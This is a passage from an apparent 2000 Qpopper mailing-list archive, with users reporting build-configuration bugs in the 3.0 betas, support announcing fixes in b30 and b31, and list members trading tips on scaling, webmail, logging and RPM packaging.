in production, and within 5 minutes had 500 .user.pop files in 
/var/mail. the last version i build (b28) i did this by
hand by editing config.h and it worked flawlessly. what's
happening here?


rick pim                                           rick at post.queensu dot ca
information technology services                          (613) 533-2242
queen's university, kingston   
-----------------------------------------------------------------------
"I don't trust No. 2, I don't trust his tame Professor and I don't trust you."
"Who do you trust, No. 6?"
"I trust me."
"Join the club."



From: "John W. Keener" <jkeener at utsi dot com>
Subject: RE: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)
Date: Thu, 27 Jan 2000 11:18:37 -0600

It appears that POP_DROP_DIR is *not* used in genpath() (common/genpath.c)
when there is no HASHing. My system uses HASH_SPOOL 2 so I had no problem.
This should be a simple fix.

Regards,
John Keener
jkeener at utsi dot com
UTSI International
1560 West Bay Area Blvd
Friendswood TX 77546


-----Original Message-----
From: rick pim [mailto:rick at post.queensu dot ca]
Sent: Thursday, January 27, 2000 11:04 AM
To: jwk at utsi dot com
Cc: qpopper at lists.pensive dot org
Subject: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)



yesterday i posted a problem getting the --enable-temp-drop-dir
option on v3b30 working. john keener said:

> I had no problem getting this to work with b30.

> I suspect something similar happened here, or a module,
> previously compiled without '--enable-temp-drop-dir=path' was not
recompiled
> once you added it.  You may wish to start from scratch and try it again.

yesterday's attempt was taken after a "make realclean", but today i
started from scratch: i unpacked the tar file and did (solaris 5.6,
gcc 2.8.1):

./configure --enable-temp-drop-dir=/var/spool/poptemp
make

config.h had the following in it:
 /* Define for the temporary mail drop directory */
 #define POP_DROP_DIR "/var/spool/poptemp"

 /* Define for the temporary mail drop file name */
 #define POP_DROP ".%s.pop"

so it _looked_ okay, but it did yesterday. i put the popper binary
in production, and within 5 minutes had 500 .user.pop files in
/var/mail. the last version i build (b28) i did this by
hand by editing config.h and it worked flawlessly. what's
happening here?


rick pim                                           rick at post.queensu dot ca
information technology services                          (613) 533-2242
queen's university, kingston
-----------------------------------------------------------------------
"I don't trust No. 2, I don't trust his tame Professor and I don't trust
you."
"Who do you trust, No. 6?"
"I trust me."
"Join the club."


From: "Clemens Martin" <martin at arkaden dot net>
Subject: Max Users
Date: Thu, 27 Jan 2000 18:52:30 -0000

Hi,
we are currently running our qpopper for about 1000+ pop3 accounts on a
rather smallish
machine.

Now the question arises how far scalable qpopper is.
What do I have to do to serve several 10000 users. (I assume authorization
via
the unix-password isn¥t such a good idea).
Furhtermore access to the mailboxes in a single directory could become a
problem.
Is there external authorisation support (like a radius mechanism), which
could
be used for authorization?
Is there some kind of databaselike structuring vor Mailaccounts?

any help welcome

kind regards

C. Martin



Date: Thu, 27 Jan 2000 10:24:06 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Re: enable-temp-drop-dir (was Re: Qpopper 3.0b29 available)

At 12:03 PM -0500 1/27/00, rick pim wrote:

>yesterday i posted a problem getting the --enable-temp-drop-dir
>option on v3b30 working.

This will be fixed in b31.

>
>rick pim                                           rick at post.queensu dot ca
>information technology services                          (613) 533-2242
>queen's university, kingston  
>-----------------------------------------------------------------------
>"I don't trust No. 2, I don't trust his tame Professor and I don't trust you."
>"Who do you trust, No. 6?"
>"I trust me."
>"Join the club."

Ah, another Prisoner fan.



From: "Dan Harkless" <dan-qpopper at dilvish.speed dot net>
Subject: Re: Fwd: Qpopper security bug
Date: Thu, 27 Jan 2000 10:24:37 -0800

Joseph S D Yao <jsdy at cospo.osis dot gov> writes:
> If you are concerned about buffer overflows, why are you still using
> 2.53?  ;-)

Um, are there known buffer overflows in 2.53?
http://www.eudora.com/freeware/qpop.html says:

    Some versions of Qpopper are prone to buffer overrun.  Remote users can
    exploit this bug and obtain root access.  If you are using Qpopper 2.41
    or older, or Qpopper 3.0 beta 21 or older, please upgrade to the
    _latest_version_.

where _latest_version_ points to text that says:

    The latest official release of qpopper is 2.53.  Version 3.0 is
    currently in public beta.

Seems to me it's the betas that are worrisome, with 2.53 being acknowledged
as having no known security holes.

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Date: Thu, 27 Jan 2000 20:05:04 +0100 (CET)
From: Sebastian Stark <stark at komcept dot de>
Subject: Re: Max Users

On Thu, 27 Jan 2000, Clemens Martin wrote:

> Furhtermore access to the mailboxes in a single directory could become a
> problem.
> Is there external authorisation support (like a radius mechanism), which
> could
> be used for authorization?
> Is there some kind of databaselike structuring vor Mailaccounts?

have a look at http://www.netd.co.za/mysql-mail/
it is authentication via a mysql db. perfect if you're using exim.

i used this and had my setup after 1 day.


maybe you also want to checkout
http://www.kies.co.kr/~jhpark/Sendmail/index.html

seb


From: "Ed Hagopian" <spesh at webcombo dot net>
Subject: Re: Max Users
Date: Thu, 27 Jan 2000 13:44:37 -0600

> Now the question arises how far scalable qpopper is.
> What do I have to do to serve several 10000 users. (I assume authorization
> via
> the unix-password isn¥t such a good idea).
> Furhtermore access to the mailboxes in a single directory could become a
> problem.
> Is there external authorisation support (like a radius mechanism), which
> could
> be used for authorization?
> Is there some kind of databaselike structuring vor Mailaccounts?

There is supposedly qpopper support with MySql as the back end.. I don't
have the url
off the top of my head but if you search for qpopper and mysql I'm sure
you'll find it.



Date: Thu, 27 Jan 2000 17:47:35 -0500
From: Joseph S D Yao <jsdy at cospo.osis dot gov>
Subject: Re: web interface

On Mon, Jan 17, 2000 at 03:14:56PM +0800, James Tsang wrote:
> Hello, member
> 	Would you give me some hints about web interface? Something like
> which web mail server should be better company with Qpopper?
> Rgds

The best web-and-mail client we use is the Netscape family of products.
Navigator works fine for Web.  Messenger works fine for POP3/IMAP/SMTP
e-mail.

Eudora is a good non-web-based e-mail client.  It does have a graphical
user interface (GUI).

I hope I have interpreted your question correctly.  Qpopper is itself a
mail server, so that it works with a mail client, not another server.

-- 
Joe Yao				jsdy at cospo.osis dot gov - Joseph S. D. Yao
COSPO/OSIS Computer Support					EMT-B
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This message is not an official statement of COSPO policies.

Date: Fri, 28 Jan 2000 09:42:57 +1000
From: Sys Admin <sysadmin at pharm.usyd.edu dot au>
Subject: Re: web interface

I think he means like Hotmail's WebMail program.  Endymion have a wonderful 
program called MailMan at http://www.endymion.com
Another one is at http://webmail.wastl.net/ called WebMail.

Jason.

At 08:47 28/01/2000 , you wrote:
>On Mon, Jan 17, 2000 at 03:14:56PM +0800, James Tsang wrote:
> > Hello, member
> >       Would you give me some hints about web interface? Something like
> > which web mail server should be better company with Qpopper?
> > Rgds
>
>The best web-and-mail client we use is the Netscape family of products.
>Navigator works fine for Web.  Messenger works fine for POP3/IMAP/SMTP
>e-mail.
>
>Eudora is a good non-web-based e-mail client.  It does have a graphical
>user interface (GUI).
>
>I hope I have interpreted your question correctly.  Qpopper is itself a
>mail server, so that it works with a mail client, not another server.
>
>--
>Joe Yao                         jsdy at cospo.osis dot gov - Joseph S. D. Yao
>COSPO/OSIS Computer Support                                     EMT-B
>-----------------------------------------------------------------------
>This message is not an official statement of COSPO policies.

---------- )O( ----------
Jason Oakley
Computer Systems Officer
Pharmacy Faculty
University of Sydney
Phone Number 9351 5647

+-------- My Webpage ---------+
+- http://vzalive.50megs.com -+

People  once believed that when  someone dies, a Crow carries
their  soul to the land of the dead, but  sometimes something
so bad happens that a terrible sadness is carried with it and
the soul can't rest. Then sometimes, just sometimes, the Crow
can  bring the  soul back  and put the  wrong  things  right.

   *> Buildings burn, People die, but real love is forever. <*

From: Frank Pineau <frank at pineaus dot com>
Subject: Logging not showing IP address
Date: Thu, 27 Jan 2000 19:21:37 -0500

Sorry if this has been asked (I looked through the archives and didn't =
find
anything):

  After moving from ipop3d to qpopper 2.53 on my RH6.1 (2.2.13) today, I =
noticed
that it doesn't appear to be logging the IP address or hostname of pop
connections the way the README's says it will.  I'm running it through =
inetd and
TCP wrappers, and it logs all the other info that it's supposed to, just =
not the
IP address.  Any thoughts?  Is it a bug in that version?  Also, I did =
find it
necessary to disable HAVE_FLOCK in config.h before compiling, due to the =
problem
with pop.auth.  Might that have something to do with it?

TIA
=46P


-- 
<*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
=46rank Pineau  ------------>

        frank at pineaus.IHATESPAM dot com
          http://www.pineaus.com

     Time is the best teacher.  Unfortunately,
           it kills all of its students.
<*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
PGP Public Key:
http://www.pineaus.com/frankpineau.asc

No mail from web-based mail systems such as Hotmail
or Yahoo will be accepted.

From: Frank Pineau <frank at pineaus dot com>
Subject: Re: Logging not showing IP address
Date: Thu, 27 Jan 2000 19:56:29 -0500

On Thu, 27 Jan 2000 19:21:37 -0500, you wrote:

>Sorry if this has been asked (I looked through the archives and didn't =
find
>anything):
>
>  After moving from ipop3d to qpopper 2.53 on my RH6.1 (2.2.13) today, I=
 noticed
>that it doesn't appear to be logging the IP address or hostname of pop
>connections the way the README's says it will.  I'm running it through =
inetd and
>TCP wrappers, and it logs all the other info that it's supposed to, just=
 not the
>IP address.  Any thoughts?  Is it a bug in that version?  Also, I did =
find it
>necessary to disable HAVE_FLOCK in config.h before compiling, due to the=
 problem
>with pop.auth.  Might that have something to do with it?
>
>TIA
>FP


Ok, just the for the record, I tried V3b30 and it's working right now.  =
Weird.

=46P


-- 
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        frank at pineaus.IHATESPAM dot com
          http://www.pineaus.com

     Time is the best teacher.  Unfortunately,
           it kills all of its students.
<*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
PGP Public Key:
http://www.pineaus.com/frankpineau.asc

No mail from web-based mail systems such as Hotmail
or Yahoo will be accepted.

From: Matt Ashburn <matt at neocom dot net>
Subject: RE: web interface
Date: Thu, 27 Jan 2000 19:53:27 -0500

I agree. I think he was referring to a Webmail interface, not another mail 
server or mail client. EmuMail also has a good product (for both NT and 
Linux) and we currently use it for our users, running ona Red Hat 6.0 box. 
Check it out at htttp://www.emumail.com. They have a free version that is 
ad-supported.

Matt Ashburn
Weekend Support and Administration,
NEOCOM Microspecialists, Inc.

-----Original Message-----
From:	Sys Admin [SMTP:sysadmin at pharm.usyd.edu dot au]
Sent:	Thursday, January 27, 2000 6:43 PM
To:	Subscribers of Qpopper
Subject:	Re: web interface

I think he means like Hotmail's WebMail program.  Endymion have a wonderful 
program called MailMan at http://www.endymion.com
Another one is at http://webmail.wastl.net/ called WebMail.

Jason.

At 08:47 28/01/2000 , you wrote:
>On Mon, Jan 17, 2000 at 03:14:56PM +0800, James Tsang wrote:
> > Hello, member
> >       Would you give me some hints about web interface? Something like
> > which web mail server should be better company with Qpopper?
> > Rgds
>
>The best web-and-mail client we use is the Netscape family of products.
>Navigator works fine for Web.  Messenger works fine for POP3/IMAP/SMTP
>e-mail.
>
>Eudora is a good non-web-based e-mail client.  It does have a graphical
>user interface (GUI).
>
>I hope I have interpreted your question correctly.  Qpopper is itself a
>mail server, so that it works with a mail client, not another server.
>
>--
>Joe Yao                         jsdy at cospo.osis dot gov - Joseph S. D. Yao
>COSPO/OSIS Computer Support                                     EMT-B
>-----------------------------------------------------------------------
>This message is not an official statement of COSPO policies.

---------- )O( ----------
Jason Oakley
Computer Systems Officer
Pharmacy Faculty
University of Sydney
Phone Number 9351 5647

+-------- My Webpage ---------+
+- http://vzalive.50megs.com -+

People  once believed that when  someone dies, a Crow carries
their  soul to the land of the dead, but  sometimes something
so bad happens that a terrible sadness is carried with it and
the soul can't rest. Then sometimes, just sometimes, the Crow
can  bring the  soul back  and put the  wrong  things  right.

   *> Buildings burn, People die, but real love is forever. <*

Date: Thu, 27 Jan 2000 20:05:30 -0500
From: Phil V Savoie <Phil.Savoie at learnix dot ca>
Subject: Re: Logging not showing IP address

Hi Frank,

Maybe ippl could be of service?  I use this and this is what it gives me as
an example:

Jan 27 03:04:03 pop3 connection attempt from unknown at dell1 [172.20 dot 1 dot 51]
(172.20.1.51:1245->172.20.1.1:110)
Jan 27 03:04:04 pop3 connection closed from dell1 [172.20.1.51]
(172.20.1.51:1245->172.20.1.1:110)
Jan 27 03:05:04 port 1518 connection closed from lh1.rdc3.on.home.com
[24.2.9.73] (24.2.9.73:110->24.114.50.4
8:1518)

IPPL(8)                                                   IPPL(8)

NAME
       ippl - IP Protocols Logger

SYNOPSIS
       ippl [-hn] [-c file-name] [--help] [--nodaemon] [--config file-name]

DESCRIPTION
       ippl  is  an  IP protocols logger. It logs incoming TCP connections,
UDP datagrams and ICMP
       packets sent to a host.

       ippl is based on the well-known iplogger written by  Mike  Edulla.
The  main  drawback  of
       iplogger  is  that  it is not (easily) configurable.  ippl has been
written keeping in mind
       that it should be extremely configurable and it should be easy to
extend its logging  capa<AD>
       bilities.


You should be able to get the rpm from rpmfind.net

regards,

Phil


At 19:21 27/01/00 -0500, Frank Pineau wrote:
>Sorry if this has been asked (I looked through the archives and didn't find
>anything):
>
>  After moving from ipop3d to qpopper 2.53 on my RH6.1 (2.2.13) today, I 
>noticed
>that it doesn't appear to be logging the IP address or hostname of pop
>connections the way the README's says it will.  I'm running it through inetd 
>and
>TCP wrappers, and it logs all the other info that it's supposed to, just not 
>the
>IP address.  Any thoughts?  Is it a bug in that version?  Also, I did find it
>necessary to disable HAVE_FLOCK in config.h before compiling, due to the 
>problem
>with pop.auth.  Might that have something to do with it?
>
>TIA
>FP
>
>
>-- 
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
>Frank Pineau  ------------>
>
>        frank at pineaus.IHATESPAM dot com
>          http://www.pineaus.com
>
>     Time is the best teacher.  Unfortunately,
>           it kills all of its students.
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*>
>PGP Public Key:
>http://www.pineaus.com/frankpineau.asc
>
>No mail from web-based mail systems such as Hotmail
>or Yahoo will be accepted.


Date: Fri, 28 Jan 2000 14:59:36 +1300 (NZDT)
From: Alan Brown <alan at manawatu.gen dot nz>
Subject: RE: web interface

On Thu, 27 Jan 2000, Matt Ashburn wrote:

> I agree. I think he was referring to a Webmail interface, not another mail 
> server or mail client. EmuMail also has a good product (for both NT and 
> Linux) and we currently use it for our users, running ona Red Hat 6.0 box. 
> Check it out at htttp://www.emumail.com. They have a free version that is 
> ad-supported.

There are a bunch of free PHP-based solutions too. Take a look at www.php.net

AB


From: "Kenneth Porter" <shiva at well dot com>
Date: Thu, 27 Jan 2000 18:51:55 -0800
Subject: Moving config files from one dir to another

Sendmail will be moving sendmail.cf from /etc to /etc/mail starting
with 8.10. How does an RPM package represent this move? I've been
packaging the qpopper 3 betas, and I'm considering moving its few /etc
files (that contain the APOP authentication database and the lists of
authorized and rejected users) into /etc/mail to further reduce clutter
in /etc. These files currently don't exist in the package, but must be
created by the admin. I'm wondering how, when the files are moved in
the new package, a site using files at the old location will get them
moved to the new location.

Ken
mailto:shiva at well dot com
http://www.sewingwitch.com/ken/
http://www.215Now.com/



From: "James Nelson" <james at digit.bloomnet dot com>
Subject: Re: web interface
Date: Thu, 27 Jan 2000 21:45:59 -0600

EmuMail is supposedly good IF you can actually get it to
work...............  I've been trying for several weeks now an hour or
two here and there with no luck.  RH 6.0 + patches, Apache 1.3.6
............  Latest EmuMail package.

James (the frustrated)


----- Original Message -----
From: "Matt Ashburn" <matt at neocom dot net>
To: "'Sys Admin'" <sysadmin at pharm.usyd.edu dot au>; "Subscribers of
Qpopper" <qpopper at lists.pensive dot org>
Sent: Thursday, January 27, 2000 6:53 PM
Subject: RE: web interface


| I agree. I think he was referring to a Webmail interface, not
another mail
| server or mail client. EmuMail also has a good product (for both NT
and
| Linux) and we currently use it for our users, running ona Red Hat
6.0 box.
| Check it out at htttp://www.emumail.com. They have a free version
that is
| ad-supported.
|
| Matt Ashburn
| Weekend Support and Administration,
| NEOCOM Microspecialists, Inc.
|
| -----Original Message-----
| From: Sys Admin [SMTP:sysadmin at pharm.usyd.edu dot au]
| Sent: Thursday, January 27, 2000 6:43 PM
| To: Subscribers of Qpopper
| Subject: Re: web interface
|
| I think he means like Hotmail's WebMail program.  Endymion have a
wonderful
| program called MailMan at http://www.endymion.com
| Another one is at http://webmail.wastl.net/ called WebMail.
|
| Jason.
|
| At 08:47 28/01/2000 , you wrote:
| >On Mon, Jan 17, 2000 at 03:14:56PM +0800, James Tsang wrote:
| > > Hello, member
| > >       Would you give me some hints about web interface?
Something like
| > > which web mail server should be better company with Qpopper?
| > > Rgds
| >
| >The best web-and-mail client we use is the Netscape family of
products.
| >Navigator works fine for Web.  Messenger works fine for
POP3/IMAP/SMTP
| >e-mail.
| >
| >Eudora is a good non-web-based e-mail client.  It does have a
graphical
| >user interface (GUI).
| >
| >I hope I have interpreted your question correctly.  Qpopper is
itself a
| >mail server, so that it works with a mail client, not another
server.
| >
| >--
| >Joe Yao                         jsdy at cospo.osis dot gov - Joseph S. D.
Yao
| >COSPO/OSIS Computer Support
EMT-B
|
>---------------------------------------------------------------------
--
| >This message is not an official statement of COSPO policies.
|
| ---------- )O( ----------
| Jason Oakley
| Computer Systems Officer
| Pharmacy Faculty
| University of Sydney
| Phone Number 9351 5647
|
| +-------- My Webpage ---------+
| +- http://vzalive.50megs.com -+
|
| People  once believed that when  someone dies, a Crow carries
| their  soul to the land of the dead, but  sometimes something
| so bad happens that a terrible sadness is carried with it and
| the soul can't rest. Then sometimes, just sometimes, the Crow
| can  bring the  soul back  and put the  wrong  things  right.
|
|    *> Buildings burn, People die, but real love is forever. <*
|


Date: Thu, 27 Jan 2000 19:52:47 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Qpopper 3.0b30 available

Qpopper 3.0b30 is available at 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.

The 3.0 release notes are at: 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/Release.Notes>.

Also, the full list of changes from one beta release to the next on 
the FTP site, at 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/Changes>.


Changes from 3.0b30 to 3.0b31
-----------------------------

  1.  Fixed typo causing errors in UIDL processing when SERVER
      MODE not in use.
  2.  genpath wasn't returning correct path for .pop file when
      HOMEDIRMAIL set and --enable-temp-drop-dir used, or no
      hashed, no home dir used (latter fix sent in by Gerard
      Kok).
  3.  Added file name and line number parameters to pop_msg, for
      passing through to pop_log.
  4.  Added prototypes for pop_msg and pop_log to popper.h.
  5.  Changed replacement snprintf to vsnprintf; added snprintf as
      jacket.

Date: Thu, 27 Jan 2000 20:02:25 -0800
From: Qpopper Support <qpopper at qualcomm dot com>
Subject: Qpopper 3.0b31 available

[[[ Sorry -- the previous message accidently said "b30" instead of "b31" ]]]


Qpopper 3.0b31 is available at 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.

The 3.0 release notes are at: 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/Release.Notes>.

Also, the full list of changes from one beta release to the next on 
the FTP site, at 
<ftp://ftp.qualcomm.com/eudora/servers/unix/popper/Changes>.


Changes from 3.0b30 to 3.0b31
-----------------------------

  1.  Fixed typo causing errors in UIDL processing when SERVER
      MODE not in use.
  2.  genpath wasn't returning correct path for .pop file when
      HOMEDIRMAIL set and --enable-temp-drop-dir used, or no
      hashed, no home dir used (latter fix sent in by Gerard
      Kok).
  3.  Added file name and line number parameters to pop_msg, for
      passing through to pop_log.
  4.  Added prototypes for pop_msg and pop_log to popper.h.
  5.  Changed replacement snprintf to vsnprintf; added snprintf as
      jacket.

Date: Fri, 28 Jan 2000 14:08:25 +1000
From: Sys Admin <sysadmin at pharm.usyd.edu dot au>
Subject: Re: Qpopper 3.0b30 available

At 13:52 28/01/2000 , you wrote:
>Qpopper 3.0b30 is available at 
><ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.
>
>
>Changes from 3.0b30 to 3.0b31
>-----------------------------

They will get it right one day =;)

(grr.. how about setting the Reply-To to the list?)
---------- )O( ----------
Jason Oakley
Computer Systems Officer
Pharmacy Faculty
University of Sydney
Phone Number 9351 5647

+-------- My Webpage ---------+
+- http://vzalive.50megs.com -+

People  once believed that when  someone dies, a Crow carries
their  soul to the land of the dead, but  sometimes something
so bad happens that a terrible sadness is carried with it and
the soul can't rest. Then sometimes, just sometimes, the Crow
can  bring the  soul back  and put the  wrong  things  right.

   *> Buildings burn, People die, but real love is forever. <*

From: "Jim Baxter" <jim at atconnex dot net>
Subject: qpopper 3.0b30/31
Date: Fri, 28 Jan 2000 00:18:28 -0500

I have been using QPopper faithfully since 2.53, and have now joined the
mailing list because I'm having some difficulty with 3.0b30+...

To start with, I run Slackware Linux 4.0, with QMail delivering mail into
/home/$USER/Mailbox.  I have recently upgraded from QPopper 3.0b26 to b30.
I like what has been done with specifying --enable-home-dir-mail in the
configure script, however it doesn't work :)  I pass the following:

./configure --enable-specialauth --enable-home-dir-mail=Mailbox

and get as a result in the config.h file:

#define HOMEDIRMAIL $homedirmail

which causes a compile-time error with genpath.c.  After much rooting around
I replaced $homedirmail in config.h with "Mailbox" and got QPopper to
compile just fine with b30.  I notice that this problem has probably not
been brought to anyone's attention for b31, because the above is still
placed in the config.h file.  Now wth b31 the same trick (replacing
$homedirmail with "Mailbox") no longer works.  I get compile time errors
with genpath.c yet again.

I aspire to be able to offer some higher level of insight into this problem
tomorow, however I'm quite tired right now and know for a fact that this
message is probably hard to read.. My most sincere apologies in advance :)
For now, I hope this helps clear up some bugs.

Thanks for any insight you can offer.

Jim
jim at atconnex dot net



From: "Kenneth Porter" <shiva at well dot com>
Date: Thu, 27 Jan 2000 21:53:05 -0800
Subject: Re: Qpopper 3.0b31 available

On Thu, 27 Jan 2000 20:02:25 -0800, Qpopper Support wrote:

>Qpopper 3.0b31 is available at 
><ftp://ftp.qualcomm.com/eudora/servers/unix/popper/>.

I just repackaged it as an RPM and uploaded it to incoming.redhat.com.
It should appear on the contrib site in a couple days. Watch
http://rpmfind.net/linux/RPM/qpopper.html, where it should be listed
shortly thereafter. (I uploaded b30 last night, so that may appear
slightly earlier.)

Red Hat contributed SRPMS:
ftp://contrib.redhat.com/contrib/libc6/SRPMS/

Red Hat contributed i386 RPMS:
ftp://contrib.redhat.com/contrib/libc6/i386/

Ken
mailto:shiva at well dot com
http://www.sewingwitch.com/ken/
http://www.215Now.com/



Subject: Re: Problems with duplicate email in qpopper.
From: Didier Chalm <Didier.Chalm at shom dot fr>
Date: Fri, 28 Jan 2000 08:43:05 +0100

Dans son message du 27/1/1900, Ed Hagopian écrivait:

> I'm running qpopper (the latest stable release) on a clustered system

qpopper-2.53 is the last _stable_ release... I guess you run 3.0b?? 
versions; these are _beta_ versions !

> over NFS (I know, naughty...) up until now it' has been fine, however,
> now everytime I go to get my mail, I get all the messages, and it seems
> to not notice if I've read the message or not.. the only solution thus
> far has been to delete the message off the server after downloading it
> which I would prefer not to have to tell all my customers to do that..

I got into the same trouble ! It seems that in b29 and b30 versions, the command 'last' always return 0 ! So, even if a mail is marked as Status:RO, it will be retrieved on every pop session.
I downgraded to version 3.0b28, which is correct. :-(

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